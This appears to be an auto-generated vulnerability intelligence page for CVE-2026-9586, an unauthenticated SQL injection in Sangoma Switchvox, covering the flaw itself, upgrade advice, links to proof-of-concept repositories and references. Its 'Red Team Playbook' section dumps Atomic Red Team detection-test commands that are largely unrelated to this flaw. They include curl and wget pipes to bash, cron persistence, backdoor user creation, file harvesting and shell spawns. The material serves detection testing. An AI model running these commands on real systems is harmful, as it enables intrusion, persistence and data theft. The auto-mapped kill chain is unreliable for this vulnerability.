CVE-2026-9586
Overview
The /pa endpoint of Sangoma Switchvox SMB Edition processes XML documents beginning with a PolycomIPPhone element and concatenates the user-controlled PhoneIP value straight into PostgreSQL queries, with no sanitization and no parameterization. The endpoint answers before authentication, so the injection is reachable by anyone who can send an HTTP request to the PBX.
Vulnerability Description
An unauthenticated SQL injection vulnerability exists in Sangoma Switchvox SMB Edition 8.3 (104997). The /pa endpoint processes XML content beginning with <PolycomIPPhone> and directly concatenates the user-controlled PhoneIP value into PostgreSQL queries without sanitization or parameterization. An unauthenticated remote attacker can execute arbitrary SQL statements against the backend PostgreSQL database using a single crafted request, including database operations and remote code execution.
Impact
A single crafted request lets an unauthenticated remote attacker execute arbitrary SQL against the backend PostgreSQL database, which covers reading and modifying the PBX data and, through PostgreSQL's own capabilities, reaching remote code execution. A compromised PBX exposes call records and voicemail, and provides a platform for toll fraud and for eavesdropping on the organization's telephony. CISA lists the flaw in the Known Exploited Vulnerabilities catalog, and version 8.3 (104997) is confirmed affected.
Solution
Upgrade Switchvox to 8.4.0.2 or later, per the Sangoma release notes for version 8.4.0.2 published on 14 July 2026. The CISA KEV due date was 2026-09-05. Until then, block external access to the /pa endpoint at the perimeter, and because exploitation needs only one request, review PostgreSQL logs and the endpoint's access logs for PolycomIPPhone documents from unexpected sources. The SRA Labs write-up documents the technical detail.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sangoma | Switchvox | All |
cpe:2.3:a:sangoma:switchvox:*:*:*:*:on-premises:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
fromABUV/CVE-2026-9586_POC_EXPLOIT
For new CVEs without existing/working/non-mangled POCs
|
fromABUV | 1 | 0 | 2026-10-12 | View |
|
HORKimhab/CVE-2026-9586
CVE-2026-9586 - Draft or TODO
|
HORKimhab | 0 | 0 | 2026-09-02 | View |
Threat Feed
17 eventsSighting activity recorded
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Active exploitation confirmed — vendor: Sangoma, product: Switchvox
Active exploitation confirmed with 68 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-9586 |
| sangomakb.atlassian.net |
GitHub CVE
release-notes
|
https://sangomakb.atlassian.net/wiki/spaces/Switchvox/pages/1802371073/Switchvox+-+Release+Notes+Version+8.4.0.2+July+14+2026 |
| labs.sra.io |
GitHub CVE
third-party-advisory
|
https://labs.sra.io/posts/switchvox/ |
| horizon3.ai |
NVD API
Exploit
Third Party Advisory
|
https://horizon3.ai/attack-research/disclosures/cve-2026-9586-sangoma-switchvox-rce/# |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-9586 |